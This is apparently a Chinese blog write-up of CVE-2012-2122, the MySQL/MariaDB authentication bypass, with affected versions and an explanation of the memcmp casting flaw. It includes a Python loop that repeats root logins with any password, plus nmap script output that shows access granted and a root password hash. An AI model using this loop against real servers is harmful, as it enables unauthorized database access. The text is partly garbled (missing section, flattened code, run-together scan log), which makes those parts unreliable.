CVE-2012-2122-Mysql身份认证漏洞及利用

一、漏洞简介

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。

受影响的产品：

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

二、漏洞危害

只要知道用户名，不断尝试就能够直接登入SQL数据库。

三、漏洞验证

1、metasploit

3、Python

主要调用了subprocess.Popen执行shell命令：

#!/usr/bin/pythonimport subprocesswhile 1:subprocess.Popen("mysql -h 192.168.118.130 -u root mysql --password=blah", shell=True).wait()

具体执行过程：

Because of incorrect casting, it might've|happened that the token and the expected value were considered equal,|even if the memcmp() retued a non-zero value. In this case|MySQL/MariaDB would think that the password is correct, even while it is|not.

user connects to MariaDB/MySQL, a token (SHA|over a password and a random scramble string) is calculated and compared|with the expected value. Because of incorrect casting, it might've|happened that the token and the expected value were considered equal,|even if the memcmp() retued a non-zero value. In this case|MySQL/MariaDB would think that the password is correct, even while it is|not.  Because the protocol uses random strings, the probability of|hitting this bug is about 1/256.|Which means, if one knows a user name to connect (and "root" almost|always exists), she can connect using *any* password by repeating|connection attempts. ~300 attempts takes only a fraction of second, so|basically account password protection is as good as nonexistent.|| Disclosure date: 2012-06-9| Extra information:|Server granted access at iteration #1500|| root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9|| References:|http://seclists.org/oss-sec/2012/q2/493|https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql|_  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122MAC Address: 00:0C:29:25:90:3B (VMware)Final times for host: srtt: 677 rttvar: 3967  to: 100000NSE: Script Post-scanning.NSE: Starting runlevel 1 (of 2) scan.Initiating NSE at 16:13Completed NSE at 16:13, 0.00s elapsedNSE: Starting runlevel 2 (of 2) scan.Initiating NSE at 16:13Completed NSE at 16:13, 0.00s elapsedRead from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-service-probes nmap-services.Service detection performed.
